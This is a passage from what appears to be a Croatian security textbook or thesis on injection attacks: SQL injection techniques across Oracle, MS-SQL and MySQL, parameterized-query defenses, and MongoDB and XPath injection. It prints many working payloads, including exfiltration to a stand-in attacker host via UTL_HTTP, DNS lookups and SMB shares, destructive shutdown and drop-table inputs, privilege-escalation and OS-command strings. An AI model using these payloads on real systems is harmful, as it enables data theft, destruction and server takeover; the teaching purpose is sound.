MS-SQL je vrlo sličan kao SYBASE u relacijama, strukturi tablica, globalnim varijablama i

pohranjenim procedurama

6.1.4 UNION operator 44

UNION operator se koristi kako bi se kombinirali rezultati dvaju ili više SELECT upita.

Obično ako se može primijeniti union operator da se izvrši drugi, odvojeni upit, i kombinirati

te rezultate sa prvim upitom, te ako se rezultati upita vrate do preglednika, ova tehnika može

biti korištena za lagano izvlačenje podataka iz baze.

PRIMJERI:

Sljedeći upit će biti uspješan:

SELECT author,title,year FROM books WHERE publisher = ‘Wiley’

UNION SELECT username,password,uid FROM users--’

44


49

Kod izgradnje upita treba obratiti pozornost da se kod drugog upita koristi isti broj kolona kao

i kod prvog, pošto UNION objedinjuje rezultate jednog i drugog upita.

Sljedeći upit je neispravan:

Wiley’ UNION SELECT username,password FROM users—

I vratiti će grešku:

ORA-01789: query block has incorrect number of result columns

Također treba paziti da se kod drugog upita tipovi podataka podudaraju jer ako se ne

podudaraju vratiti će se greška. U sljedećem primjeru promijenjen je redoslijed SELECT

tablica što rezultira greškom jer se znakovni tip ne može povezati sa datum tipom podataka.

Wiley’ UNION SELECT uid,username,password FROM users--

ORA-01790: expression must have same datatype as corresponding expression

6.1.4.1 Broj kolona

Može se iskoristiti činjenica da NULL može biti pretvoren u bilo koji tip podataka kako bi se

sistematično ubacivali upiti sa različitim brojem kolona dok se upita ne bi izvršio. Npr.:

‘ UNION SELECT NULL--

‘ UNION SELECT NULL, NULL--

‘ UNION SELECT NULL, NULL, NULL--

Kada se upit izvrši, utvrđen je broj kolona koji je potreban. Inače se vraća greška.

Sljedeći je korak obično otkrivanje koja kolona je tipa „niz“ kako bi se iskoristila za

izvlačenje proizvoljnih podataka iz baze. To se isto može izvesti kao i u prošlom primjeru

ubacujući NULL vrijednosti i postepeno mijenjati NULL sa s nekim slovom.

Primjer:

‘ UNION SELECT ‘a’, NULL, NULL--

‘ UNION SELECT NULL, ‘a’, NULL--

‘ UNION SELECT NULL, NULL, ‘a’--

Kada se upit izvrši, vidi se dodatni red podataka koji sadržava vrijednost a.

Kod Oracle baze ovo ne bi prošlo jer svaki SELECT mora sadržavati FROM dio.

Ali se zato može napisati:

‘ UNION SELECT NULL FROM DUAL--

Dual je globalno dostupna tablica.

Sljedeće što bi bilo sad kad znamo broj kolona, kolonu koja je tipa niz, je izvlačenje željenih podataka.

50

‘ UNION SELECT @@version,NULL,NULL—za MS-SQL i MySQL

Oracle - ‘ UNION SELECT banner,NULL,NULL FROM v$version--

6.1.4.2 Izvlačenje podataka UNION operatorom

MYSQL primjer preko URL parametara

Ako web preglednik šalje sljedeći parametar prema aplikaciji:

Ime=Matija i aplikacija vraća sljedeći rezultat:

Ime E-mail

Matija Paravac [email protected]

Prvo je potrebno odrediti broj kolona tako da se dodaje NULL sve dok se upit ne izvrši bez

pogrešaka:

?Ime=Matija%20union%20select%20null--

?Ime=Matija%20union%20select%20null,null,null,null,null--

Svi upiti kombinirani sa UNION, INTERSECT,ili EXCEPT operatorima moraju imati jednak

broj izraza u ciljanoj listi.

Ime E-mail


[prazno] [prazno]

Sada provjerimo prvu kolonu unutar upita da li sadržava znakovne podatke.

Ime=Matija%20union%20select%20’a’,null,null,null,null--

Ime E-mail


a

Sljedeći korak je pronalaženje imena tablica i kolona unutar baze podataka koji mogu

sadržavati zanimljive informacije. To se može postići ako se izvrši upit nad meta tablicom

51

information_schema.columns, koji sadrži detalje svih tablica i imena kolona unutar baze

podataka. Primjer upita je sljedeći:

Ime=Matija%20union%20select%20table_name,column_name,null,null, null%20from%20information_schema.columns—

Ime E-mail


shop_items cijena

shop_items proid

shop_items imeporizvoda

addr_book contactemail

addr_book contactemail

korisnici korime

korisnici lozinka

Može se iskoristiti isti upit iz prethodnog primjera za dohvat podataka iz tablice korisnici:

Ime=Matija’%20UNION%20select%20username,password,null,null,null%20

from%20korisnici--

Ime E-mail


administrator fme69

dev uber

marcus 8pinto

smith twosixty

jlo 6kdown

Information_schema je podržana od strane MS-SQL-a, MySQL-a i mnogih drugih baza

uključujući i SQLite i Postresql. Napravljena je da bi čuvala meta podatke baze podataka,

zbog čega je primarna meta napadača koji žele pregledati odnosno ispitati bazu podataka.

52

Oracle ne podržava tu schemu. Kod analiziranja velikih baza podataka za mjesta napada,

obično je najbolje odmah tražiti interesantna imena kolona nego imena tablica. Na primjer:

SELECT table_name,column_name FROM information_schema.columns where

column_name LIKE ‘%PASS%’

Kada se u rezultatu vrati više kolona iz neke tablice, one se mogu spojiti u jedan niz. Tako je

preuzimanje/izvlačenje više izravno, jer zahtjeva identifikaciju samo jednog znakovnog polja

u prvobitnom upitu:

Oracle: SELECT table_name||’:’||column_name FROM

all_tab_columns

MS-SQL: SELECT table_name+’:’+column_name from information_

schema.columns

MySQL: SELECT CONCAT(table_name,’:’,column_name) from

information_schema.columns

6.1.5 Zaobilaženje filtra 45

Neke aplikacije koje su u ranjive na SQLi imaju implementirane neke filtracije znakova i

ključnih riječi. Takvi filtri su obično ranjivi i mogu se zaobići.

Primjeri:

Upit SELECT ename, sal FROM emp WHERE ename='marcus' kada se šifrira za Oracle i

MS-SQL bazu podataka izgleda na sljedeći način:

SELECT ename, sal FROM emp where ename=CHR(109)||CHR(97)||

CHR(114)||CHR(99)||CHR(117)||CHR(115)

SELECT ename, sal FROM emp WHERE ename=CHAR(109)+CHAR(97)

+CHAR(114)+CHAR(99)+CHAR(117)+CHAR(115)

Kod ubacivanja više grupiranih upita u MS-SQL bazu, nije potrebno koristiti zarez za

odvajanje. Parser upita će ih interpretirati bez obzira bili oni odvojeni zarezom ili ne.

Ako aplikacija blokira određene ključne riječi na temelju crne liste, npr. ako je riječ SELECT

zabranjena, mogu se probati sljedeći unosi:

SeLeCt

%00SELECT

SELSELECTECT

45


53

%53%45%4c%45%43%54

%2553%2545%254c%2545%2543%2554

6.1.5.1 SQL komentari

U SQL-u se mogu ubacivati komentari unutar linije slično kao u C++-u, tako da se stave

između /* i */ simbola. Ako aplikacija izbaci razmake, mogu se iskoristiti komentari kako bi

simulirali razmak unutar ubačenih podataka. Primjer:

SELECT/*foo*/username,password/*foo*/FROM/*foo*/users

Kod MySQL-a se komentari mogu ubacivati čak i unutar ključnih riječi:

SEL/*foo*/ECT username,password FR/*foo*/OM users

Što je vrlo korisno kod zaobilaženja filtra.

Vlasnici aplikacije i programeri moraju biti svjesni da nije svaki napadač usmjeren samo na

krađu podataka. Neki mogu biti više destruktivni. Na primjer koristeći samo 12 znakova,

napadač može ugasiti MS-SQL bazu podataka sa shutdown naredbom:

' shutdown--

Napadač može isto tako ubacivati maliciozne naredbe kako bi se izbrisale tablice:

' drop table korisnici--

' drop table accounts--

' drop table costumers--

6.1.5.2 Vraćanje podataka kao brojeva 46

Često se zna dogoditi da ne postoje ranjivosti unutar znakovnih polja jer je rukovanje

ubačenim jednostrukim znakovima ispravno (niz fields), ali mogu postojati ranjivosti unutar

numeričkih podataka jer kod njih nije uzeta u obzir mogućnost ubacivanja jednostrukih

navodnika. Tada, često jedini način za dobivanje rezultata ubačenih upita je putem

numeričkog odgovora. Znači potrebno je formirati upit tako da se vrati samo numerička

vrijednost.

Za tu svrhu se mogu iskoristiti funkcije:

ASCII - vraća ASCII kod za ulazni znak

SUBSTRING (ili SUBSTR kod ORACLE baze)

46


54

Pomoću njih je moguće izvući i pretvoriti pojedini znak iz znakovnog niza (strina) u

numerički oblik. Moguće je pretvoriti sve znakove iz nekog niza pojedinačno u numerički

oblik.

Npr:

ASCII(SUBSTR(‘Admin’,1,1)) će vratiti 65.

6.1.6 Ugrađene funkcije

6.1.6.1 Oracle

Oracle sadrži velik broj funkcionalnosti kojima se može pristupiti od strane nisko

privilegiranih korisnika i to može biti iskorišteno za stvaranje out-of -band (odvojene vanjske

konekcije) konekcija.

UTL_HTTP paket može biti iskorišten da bi se napravio proizvoljan HTTP zahtjev nekom

drugom računalu.

47UTL HTTP sadrži bogate funkcionalnosti i podržava Proxy poslužitelje, cookie,

preusmjeravanja, i autentifikaciju. To znači da napadač koji je ugrozio bazu podataka na

strogo čuvanoj internoj mreži, može utjecati da interni Proxy poslužitelj dopušta outbound

konekcije prema Internetu.

Sljedeći primjer prikazuje kako se pomoću UTL_HTTP može prenositi rezultat ubačenog

upita prema nekom poslužitelju koji je kontroliran od strane napadača:

/zaposlenici.asp?EmpNo=7521’||UTL_HTTP.request(‘mdattacker.net:80/’||

(SELECT%20korime%20FROM%20all_users%20WHERE%20ROWNUM%3d1))--

Ovaj URL uzrokuje UTL_HTTP da napravi GET zahtjev za URL koji sadržava prvo

korisničko ime unutar tablice all_useres. Napadač može postaviti netcat servis na svoj

poslužitelj kako bi primio rezultat:

C:\>nc -nLp 80

GET /SYS HTTP/1.1

Host: mdnapadac.net

Connection: close

UTIL_INADDR paket je dizajniran da bi se koristio za pretvaranje imena računala u IP

adrese. Može se koristiti za generiranje proizvoljnih DNS upita prema poslužitelju koji je

kontroliran od strane napadača. U većini slučajeva veća je vjerojatnost da se uspješno izvrši

nego UTL_HTTP napad, zbog toga što je DNS promet često dopušten kroz vatrozide

47


55

(firewall) pojedinih tvrtki čak i kada je HTTP promet zabranjen. Napadač može utjecati na taj

paket kako bi se napravilo pretraživanje (lookup) imena računala (hostname) po njegovom

izboru, dohvaćajući proizvoljne podatke pripajajući ih kao pod domenu glavne domene koju

kontrolira.

Primjer:

/zaposlenici.asp?EmpNo=7521’||UTL_INADDR.GET_HOST_NAME((SELECT%20PASSWORD%

20FROM%20DBA_USERS%20WHERE%20NAME=’SYS’)||’.mdattacker.net’)

Rezultat DNS upita koji sadržava hash lozinku SYS korisnika šalju se na mdattacker.net

adresu poslužitelja:

DCB748A5BC5390F2.mdattacker.net

UTL_SMTP paket može biti iskorišten za slanje e-mail-ova. Velik broj dohvaćenih podataka

iz baze se mogu poslati na neku vanjsku e-mail adresu.

UTL_TCP paket može biti iskorišten za otvaranje proizvoljnih TCP socket-a za slanje i

primanje podataka.

Kod ORACLE 11g. baze podataka dodatna ACL (kontrolna lista pristupa) štiti i sprečava

mnogo resursa, i onih do sada navedenih od izvršavanja od strane proizvoljnog korisnika baze

podataka. Međutim postoji lagan način kako da se ACL zaobiđe, a to je da se iskoristi nova

funkcionalnost koja je došla sa ORACLE 11g verzijom baze podataka:

SYS.DBMS_LDAP.INIT((SELECT PASSWORD FROM SYS.USER$ WHERE

NAME=’SYS’)||’.mdsec.net’,80)

6.1.6.2 MYSQL

SELECT ... INTO OUTFILE naredba može biti korištena za direktnu pohranu rezultata

proizvoljnog upita u datoteku. Specificirana datoteka može sadržavati UNC putanju, to

omogućuje usmjeravanje rezultata u datoteku na nekom računalu. Npr:

select * into outfile ‘\\\\mdattacker.net\\share\\output.txt’ from users;

Da bi se primila datoteka potrebno je napraviti SMB share na nekom računalu koje

dozvoljava anonimno zapisivanje. Takvi dijeljeni prostori se vrlo lagano mogu konfigurirati i

na Windows i Unix platformama

56

6.1.7 Utjecaj napada na OS

Moguće je izvršiti eskalacijske napade preko baze podataka koji rezultiraju izvršavanjem

proizvoljnih naredbi unutar operacijskog sustava na kojem je poslužitelj baze podataka. U

takvim situacijama moguće je izvršavati naredbe kao što su: tftp, mail i telnet ili kopiranjem

podataka u root direktorij web poslužitelja kako bi se mogli dohvatiti putem preglednika.

Ako se baza podataka nalazi na sigurnoj lokaciji iza vatrozida koji ne dopušta nikakve veze

prema Internetu tada sve ovo otpada i jedino preostaje napad preko web aplikacije unošenjem

proizvoljnih upita.

admin’ AND 1=1--

admin’ AND 1=2--

Drugi upit će vratiti false -to se koristi kod kontrole ponašanja aplikacije zaključivanje istine

ili laži proizvoljnih uvjeta unutar same baze podataka.

Također i ovo:

admin’ AND ASCII(SUBSTRING(‘Admin’,1,1)) = 65-- prijavljuje

admin’ AND ASCII(SUBSTRING(‘Admin’,1,1)) = 66-- ne prijavljuje jer je false

6.1.8 Izazivanje kondicionalnih grešaka(Error based) 48

Ideja je da se otkrije raznolikost unutar ponašanja u većini okruženja, na način da se ubaci

upit koji inducira grešku baze podataka zavisne o nekom specificiranom stanju. Kada se

greška pojavi, obično se može uočiti izvana preko HTTP 500 odgovora ili kroz nekakvu

poruku od grešci i abnormalnom ponašanju. Ova tehnika se temelji na značajki baze podataka

kod evaluiranja kondicijskih izjava: baza podataka evaluira samo one dijelove izjava koji

moraju biti evaluirani s obzirom na status drugih dijelova. Primjer:

SELECT X FROM Y WHERE C

Baza podataka provjerava svaki redak u tablici Y da li zadovoljava uvjet C i vraća X kada je

C istinit. Ako C nikad nije istinit, X se nikad ne evaluira.

Takvo ponašanje se može iskoristiti tako da se nađe izraz kod kojeg je X sintakso točan ali

generira grešku. Primjer takvog izraza kod Oracle i MS-SQL je dijeljenje sa nulom. Ako je C

uvijek istinit, izraz C se evaluira što uzrokuje grešku. Ako je C uvijek neistinit, nikakva

greška se ne generira. Na taj se način, ako ima ili nema greške može provjeriti stanje C.

48


57

Oracle primjer:

SELECT 1/0 FROM dual WHERE (SELECT username FROM all_users WHERE username =

‘DBSNMP’) = ‘DBSNMP’

Ako korisnik DBSNMP postoji doći će do pogreške.

Sljedeći upit testira da li korisnik AAAAAA postoji. Zbog WHERE uvjet nikad nije istinit,

izraz 1/0 se ne evaluira, pa nema nikakve pogreške:

SELECT 1/0 FROM dual WHERE (SELECT username FROM all_users WHERE username =

‘AAAAAA’) = ‘AAAAAA’

Zbog jednostavnosti ove provjere, isti napadački nizovi će raditi i na više različitih sustava

baza podataka i to kod različitih mjesta ubacivanja upita. Na primjer mjesto ubacivanja može

biti i iza WHERE dijela upita:

SELECT 1 WHERE id=2 or 1/0=0

6.1.9 Napadi temeljeni na vremenu 49

U nekim situacijama kod ubacivanja upita aplikacija odnosno preglednik ne vraća nikakve

rezultate niti pogreške. Tada se koriste napadi temeljeni na vremenu (Time-based).

Princip je takav da napadač ubacuje upit i gleda vrijeme koje je potrebno poslužitelju da

odgovori. Ako nastupi kašnjenje, to bi moglo značiti da je stanje istinito. Na taj način napadač

može provjeravati i iz baze podataka izvlačiti bit po bit informacije.

Kod različitih baza podataka koriste se različite funkcije za stvaranje vremenskog kašnjenja.

6.1.9.1 MS-SQL

Sadrži ugrađenu WAITFOR naredbu:

waitfor delay ‘0:0:5’

Znači kada je neko stanje detektirano aktivira se vremensko kašnjenje. Međutim, ne moraju se

koristiti samo provjere stanja. Na primjer sljedeći upit će provjeriti da li je u zadanom nizu

prvo slovo A, ako je, tada će se pokrenuti kašnjenje od 5 sekundi:

if ASCII(SUBSTRING(‘Admin’,1,1)) = 64 waitfor delay ‘0:0:5’

Na ovaj način napadač može prolaziti kroz sva slova imena tablice ili korisnika i na taj način

provjeravati da li naziv sadrži neko slovo.

49


58

Postoji još jedna tehnika kod koje se podatak razlama na bitove i svaki od njih se vraća

pomoću zasebnog upita. Kod nje se koristi POWER naredba i bitovni operator &. Sljedeći

upit testira prvi bit prvog bajta podataka i pauzira ako je 1:

if (ASCII(SUBSTRING(‘Admin’,1,1)) & (POWER(2,0))) > 0 waitfor delay ‘0:0:5’

Za drugi bit:

if (ASCII(SUBSTRING(‘Admin’,1,1)) & (POWER(2,1))) > 0 waitfor delay ‘0:0:5’

6.1.9.2 MySQL

Kod MySQL tu je sleep() funkcija, koja generira kašnjenje izrađeno u milisekundama

Verzije MySQL baze starije od 5.0.12 koriste benchmark funkciju:

select if(user() like ‘root@%’, benchmark(50000,sha1(‘test’)), ‘false’)

Funkcija se mogla iskoristiti za ponavljanje neke radnje više puta. Najčešće se zadavalo bazi

podataka neki procesorski zahtjevan posao kao što je SHA-1 šifrirane što bi uzrokovalo

kašnjenje.

6.1.9.3 PostgreSQL

Funkcija PG_SLEEP kod PostgreSQL se može koristiti na isti način kao i MySQL sleep

funkcija.

6.1.9.4 ORACLE

Oracle baza nema funkcije koje bi generirale vremensko kašnjenje ali se zato koriste neki

drugi metode koji bi generirale vremensko kašnjenje.

Npr ako se koristi UTL_HTTP za spajanje na poslužitelj koji ne postoji može izazvati

kašnjenje.

SELECT ‘a’||Utl_Http.request(‘http://madeupserver.com’) from dual

U sljedećem primjeru nastupa kašnjenje ako postoji korisnički račun DBSNMP:

SELECT ‘a’||Utl_Http.request(‘http://madeupserver.com’) FROM dual WHERE

(SELECT username FROM all_users WHERE username = ‘DBSNMP’) = ‘DBSNMP’

Str 324.

Vremenska kašnjenja se mogu koristiti i za detektiranje SQLi ranjivosti. Na primjer ako je u

pozadini aplikacije MS SQL baza može se na kraj svakog upita staviti sljedeće, i motriti

koliko dugo aplikaciji treba da identificira neku ranjivost:

‘; waitfor delay ‘0:30:0’--

1; waitfor delay ‘0:30:0’--

59

6.1.10 Eskalacija SQLi napada 50

SQLi obično ugrozi cijelu aplikaciju. Međutim to ponekad ne mora značiti da je to bio cilj

napada. Cilj napada može biti totalno drugačiji, ali se pomoću SQLi može doći do ugrađenih

funkcija baze podataka koje se mogu iskoristiti za daljnje napredovanje prema cilju.

imati pristup drugim aplikacijama koje se nalaze u bazi

ugroziti operacijski sustav na kojem je poslužitelj baze podataka

mrežni pristup drugim sustavima

6.1.10.1 MS SQL

Vrlo opasno može biti ako napadač može zloupotrijebiti xp_cmdshell proceduru koja je

ugrađena u MS-SQL bazu. Ta pohranjena procedura omogućuje da korisnika sa DBA

ovlaštenjima izvršava naredbe operativnog sustava.

Primjer:

master..xp_cmdshell ‘ipconfig > foo.txt’

Rezultat ipconfig naredbe je zapisan u tekstualnu datoteku.

Također napadačima su vrlo interesantne procedure kao što su xp_regread i xp_regwrite koje

mogu biti korištene za izvršavanje akcija unutar registra Windows operativnog sustava.

MS SQL 2005 i novije verzije baze podataka, imaju ugrađene sigurnosne mehanizme koji

drže bazu zaključanu tako da to onemogućuje mnoge tehnike napada. Međutim ako je

korisnički račun unutar web aplikacije visoko privilegiran moguće je zaobići te mehanizme

rekonfiguracijom baze podataka. Na primjer ako je xp_cmdshell isključen, moguće ga je

uključiti sa sp_configure procedurom na sljedeći način:

EXECUTE sp_configure ‘show advanced options’, 1

RECONFIGURE WITH OVERRIDE

EXECUTE sp_configure ‘xp_cmdshell’, ‘1’

RECONFIGURE WITH OVERRIDE

6.1.10.2 ORACLE

Oracle baza podataka sadrži velik broj procedura koje se izvršavaju sa DBA privilegijama.

Čak su u samim procedurama otkrivene SQLi ranjivosti. Primjer iz 2006. godine gdje je

otkrivena ranjivost na paketu

SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES. Ta ranjivost je iskorištena na

način da se unutar upita ubacila naredba GRANT DBA TO PUBLIC:

50


60

select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(‘INDX’,’SCH’,

‘TEXTINDEXMETHODS”.ODCIIndexUtilCleanup(:p1); execute immediate

‘’declare pragma autonomous_transaction; begin execute immediate

‘’’’grant dba to public’’’’ ; end;’’; END;--’,’CTXSYS’,1,’1’,0) from dual

Valja napomenuti da ORACLE baza ima puno funkcionalnosti koje su dostupne i niže

privilegiranim korisnicima. Npr. UTL_FILE za čitanje iz datoteke.

Kod ORACLE baze moguća je i zloupotreba Jave. Ranjivost unutar

DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY omogućuje dodavanje

java.io.filepermission dopuštenja. Taj napad tada izvršava Java klasu

oracle/aurora/util/Wrapper koja pokreće naredbe OS-a koristeći DBMS_JAVA.RUNJAVA.

Primjer:

DBMS_JAVA.RUNJAVA(‘oracle/aurora/util/Wrapper c:\\windows\\system32\\

cmd.exe /c dir>c:\\OUT.LST’)

6.1.10.3 MySQL

U odnosu MS SQL i ORACLE, MySQL ima malo ugrađenih funkcionalnosti koje bi napadač

mogao iskoristiti.

Jedan primjer je svaki korisnik sa FILE_PRIV dopuštenjem može čitati i pisati na datotečni

sustav.

LOAD_FILE se može iskoristiti za izvlačenje sadržaja iz bilo koje datoteke.

Naredba SELECT… INTO OUTFILE može spremiti rezultate upita unutar datoteke. Primjer:

create table test (a varchar(200));

insert into test(a) values (‘+ +’)

select * from test into outfile ‘/etc/hosts.equiv’

6.1.11 SQLMAP

SQLMAP je alat za penetracijsko testiranje koji automatizira proces detekcije i iskorištavanja

SQLi ranjivosti i preuzimanje kontrole nad poslužiteljem baze podataka. SQLMAP podržava

sve oblike SQLi napada, i u praksi je vrlo efektivan. Jedan od najboljih načina za korištenje je

uz --sql-shell opciju, što omogućuje pisanje SQL upita i primanje rezultata.

C:\sqlmap>sqlmap.py -u http://wahh-app.com/employees?Empno=7369 --union-use

--sql-shell -p Empno

6.1.12 Sprečavanje SQLi-a

Generalno gledajući, SQLi je jedna od ranjivosti koju je relativno lakše spriječiti.

Neke mjere obrana su neutralizacija jednostrukih navodnika iz podataka koji su uneseni od

strane korisnika na taj način da se dupliciraju. Međutim to kao što je već rečeno, to ne

funkcionira u dva slučaja:

61

1. Ako su uneseni podaci od strane korisnika numerički.

2. Kod SQLi drugog reda, što znači ako je takav neutraliziran podatak spremljen u bazu

podataka, sljedeći puta kada se dohvati iz baze i ponovno neutralizira dodavanjem

jednostrukih navodnika prije nego što se izvrši, vratiti će se u originalno stanje.

6.1.12.1 Parametarizirani upiti

Većina baza podataka i platforma za razvoj web aplikacija pružaju API sučelja za rukovanje

nepouzdanim unosom na siguran način, i na taj način sprečava SQLi. U parametariziranim

upitima koji se još nazivaju i „pripremljene izjave“(prepared statements) konstrukcija SQL

upita koji sadržava unesene korisničke podatke se izvršava u dva dijela:

1. Aplikacija određuje strukturu SQL upita, i ostavlja mjesta za svaku stavku iz unosa

korisnika.

2. Aplikacija specificira sadržaj svakog tog mjesta.

Drugim riječima, to su SQL izrazi, koji se šalju na poslužitelj i raščlanjeni su od strane baze

podataka odvojeno od bilo kojeg parametra. Na taj način je nemoguće da napadač ubaci

maliciozan SQL kod.

Ispravna sintaksa i metoda za stvaranje parametriziranih upita ovisi o programskom jeziku i

tipu baze podataka.

Primjer za ORACLE bazu podataka i Java programski jezik:

//definiranje strukture

niz insertTableSQL = "INSERT INTO korisnik"+ "(korisnik_ID, kime,

lozinka, datum) VALUES" + "(?,?,?,?)";

//pripremanje izraza kroz dbConnection

PreparedStatement preparedStatement =

dbConnection.prepareStatement(insertTableSQL);

//dodavanje unesenih podataka od strane korisnika

preparedStatement.setInt(1, 1);

preparedStatement.setString(2, "matija");

preparedStatement.setString(3, "tajna");

preparedStatement.setTimestamp(4, getCurrentTimeStamp());

// izvršavanje SQL izraza

preparedStatement .executeUpdate();

Osim navedenog vrlo važno je redovito da se redovito implementiraju nove sigurnosne zakrpe

i nadogradnje. To je važno, jer ako se otkrije neka greška ili ranjivost na nekoj verziji baze

podataka sve dok se ne učini sigurnosna zakrpa ta baza podataka je ranjiva.

62

6.2 NoSQL injection 51

Izraz NoSQL odnosi se na različite baze podataka i skladišta podataka koji ne koriste

standardnu relacijsku strukturu baza podataka. NoSQL skladišta podataka koriste mapiranje

po ključu/vrijednosti i ne oslanjaju se na fiksnu shemu kao konvencijonalne tablice.

Vrijednosti ključeva mogu biti proizvoljno definirane, i format vrijednosti obično nije bitan za

spremišta podataka. Još jedna značajka pohrane po ključu/vrijednosti je da vrijednost može

biti i sama struktura baze, na taj način se dopušta hijerarhijska pohrana, za razliku od pohrane

bez hijerarhijske strukture unutar shema relacijskih baza podataka.

NoSQL baze se koriste uglavnom za velike setove podataka, gdje se hijerarhijska struktura

može optimizirati točno kako se zahtjeva.

Kod SQLi, SQL jezik je vrlo sličan kroz sve platforme različitih baza podataka. Kod NoSQL-

a to nije slučaj. Svaka NoSQL baza može biti izvedena u drugačijoj tehnologiji i drugačije se

ponaša.

Slijede neke od zajedničkih metoda upita i pretraživanja koja koriste NoSQL baze podataka:

Pretraživanje po ključu/vrijednosti

Xpath

Programski jezici kao JavaScript

NoSQL je relativno nova tehnologija koja se vrlo brzo razvija. Još uvijek nije opće

prihvaćena, jer još uvijek nema nikakvog ozbiljnog ispitivanja ili istraživanja o sigurnosti

samih tehnologija ne bi li se našle ranjivosti, što je u današnje vrijeme najvažnija stvar.

Sigurno je da će ranjivosti i načini iskorištavanja ranjivosti biti otkriveni i izaći na vidjelo

kako će se NoSQL baze više koristiti u današnjim i budućim web aplikacijama.

6.2.1 MongoDB 52

MongoDB je vodeća NoSQL baza podataka napisana u C++. Za upite koristi

JavaSript/JSON. MongoDB sprema JSON dokumente u binarnom obliku(BSON).

U sljedećem primjeru je prikazana prijava korisnika u MongoDB bazu podataka:

$m = new Mnogo();

$db = $m->cmsdb;

51



63

$collection = $db->user;

$js = “function() { return this.username == ‘$username’ & this.password ==

‘$password’; }”;

$obj = $collection->findOne(array(‘$where’ => $js));

if (isset($obj[“uid”]))

{

$logged_in=1;

}

else

{

$logged_in=0;

}

$js je JavaScript funkcija, kod je konstruiran dinamički i uključuje korisničko ime i lozinku

koju je unio korisnik. Napadač može zaobići prikazanu logiku ako upiše ime na sljedeći

način:

Matija'//

JavaScript kod će tada izgledati ovako:

function() { return this.username == ‘Matija//’ & this.password ==

‘bilo_što’; }

U JavaScriptu // znači komentar, pa će ostatak koda u liniji biti zanemaren. Zaobilaženje

logike je moguće i ako se umjesto korisničkog imena upiše sljedeće: a’ || 1==1 || ‘a’==’a

JavaScript interpretira mnogo takvih operatora:

(this.username == ‘a’ || 1==1) || (‘a’==’a’ & this.password == ‘bilo_što’);

6.2.2 XPATH injection 53

XPATH je upitni jezik za dohvaćanje podataka iz XML dokumenata. U slučajevima kada

baze podataka spremaju podatke unutar XML dokumenata najčešće koriste Xpath izraze za

navigaciju između čvorova XML dokumenata. Xpath se također koristi za dohvaćanje

podataka s obzirom na unos korisnika. Ako je unos korisničkih podataka ubačen unutar Xpath

upita bez filtriranja i saniranja, napadač može manipulirati upitom, pomutiti logiku aplikacije

i doći do povjerljivih podataka.

Primjer pohranjenih podataka unutar XML-a:

<addressBook>

<address>

<firstName>William</firstName>

<surname>Gates</surname>

<password>MSRocks!</password>

<email>[email protected]</email>

<ccard>5130 8190 3282 3515</ccard>

</address>

<address>

<firstName>Chris</firstName>

53


64

<surname>Dawes</surname>

<password>secret</password>


<ccard>3981 2491 3242 3121</ccard>

</address>

<address>

<firstName>James</firstName>

<surname>Hunter</surname>

<password>letmein</password>


<ccard>8113 5320 8014 3313</ccard>

</address>

</addressBook>

Upit za dohvaćanje svih e-mail adresa izgledao ovako:

//address/email/text()

Upit koji vraća podatke o korisniku „Dawes“ izgleda ovako:

/address[surname/text()=’Dawes’]

Sljedeći upit provjerava korisničko ime i lozinku i vraća broj bankovne kartice:

//address[surname/text()=’Dawes’ and password/text()=’secret’]/ccard/

text()

U ovom slučaju napadač može modificirati upit na identičan način kao i kod SQLi ranjivosti.

Ako se umjesto lozinke stavi: ' or 'a'='a Xpath upit će vratiti broj kartice za sve korisnike:

//address[surname/text()=’Dawes’ and password/text()=’’ or ‘a’=’a’]/

ccard/text()

Isto kao i kod SQLi, jednostruki navodnici nisu potrebni kada se ubacuju numeričke

vrijednosti. Za razliku od SQL upita, ključne riječi unutar Xpath upita su osjetljive na velika i

mala slova, isto kao i imena elemenata unutar XML dokumenta.

Ubacivanjem:

‘ or 1=1 and ‘a’=’a

‘ or 1=2 and ‘a’=’a

Kao i kod SQL-a može se iskoristiti postavljanje istinitosti zadanih uvjeta i na taj način

izvlačiti željene podatke iz XML-a bit po bit.

Sljedeći Xpath upit će vratiti rezultat ako je prvi znak lozinke „M“:

//address[surname/text()=’Dawes’ and password/text()=’’ or

//address[surname/text()=’Gates’ and substring(password/text(),1,1)= ‘M’]

and ‘a’=’a ‘]/ccard/text()

Xpath upiti mogu imati korake koji su povezani sa trenutnim čvorem unutar XML

dokumenta, pa se moguće navigirati od trenutnog čvora do čvora-roditelj ili do čvora-dijete.

Xpath sadrži funkcije koje vrše upite nad meta-informacijama o dokumentu, uključujući ime

65

specifičnog elementa. Koristeći ove tehnike, moguće je izvući imena i vrijednosti svih

čvorova bez ikakvih informacija o njihovoj strukturi ili sadržaju.

Na primjer, može se koristiti substring funkcija kao i u prethodnom primjeru da bi se izvukla

imena trenutnih čvorova-roditelja:

‘ or substring(name(parent::*[position()=1]),1,1)= ‘a

‘ or substring(name(parent::*[position()=1]),2,1)=’b

‘ or substring(name(parent::*[position()=1]),2,1)=’c

‘ or substring(name(parent::*[position()=1]),2,1)=’d

Itd.

Na taj način se može doći do imena „address“ čvora. Nakon toga moguće je na isti način

saznati imena i vrijednosti čvorova-djece. Ako se čvor-dijete specificira po indeksu, nije

potrebno znati njihova imena. Na primjer sljedeći upit če vratiti vrijednost „Hunter“

//address[position()=3]/::node()[position()=4]/text()

A sljedeći vrijednost „letmein“:

//address[position()=3]/child::node()[position()=6]/text()

Ova tehnika se može koristiti sa napade, kada aplikacija ne vraća nikakav odgovor. Može se

napraviti uvjet koji specificira željeni čvor po indeksu. Na primjer, ako se unese sljedeći upit

umjesto lozinke, vraća rezultat ako je prvo ime lozinke „M“:

‘ or substring(//address[position()=1]/child::node()[position()=6]/

text(),1,1)= ‘M’ and ‘a’=’a

Naravno poželjno je korištenje Xpath funkcija koje mogu pomoći automatizaciji napada, i

brzo proći kroz sve čvorove unutar XML-a. Npr. funkcija count() vraća broj čvorova-djece

nekog elementa što se može iskoristiti zajedno sa position() funkcijom za automatizirati gore

navedeni primjer. Funkcija niz-length() vrača dužinu niza, što se može koristiti zajedno sa

funkcijom substring. Kombinacija može biti mnogo.

Za pronalaženje XPath ranjivosti obično se koriste sljedeći testni nizovi:

‘

‘--

Prva dva će vratiti grešku. Sljedeći nizovi uzrokuju promjenu u ponašanju aplikacije, bez da

se pojavi greška:

‘ or ‘a’=’a

‘ and ‘a’=’b

or 1=1

66

and 1=2

6.2.2.1 Sprečavanje Xpath injection napada

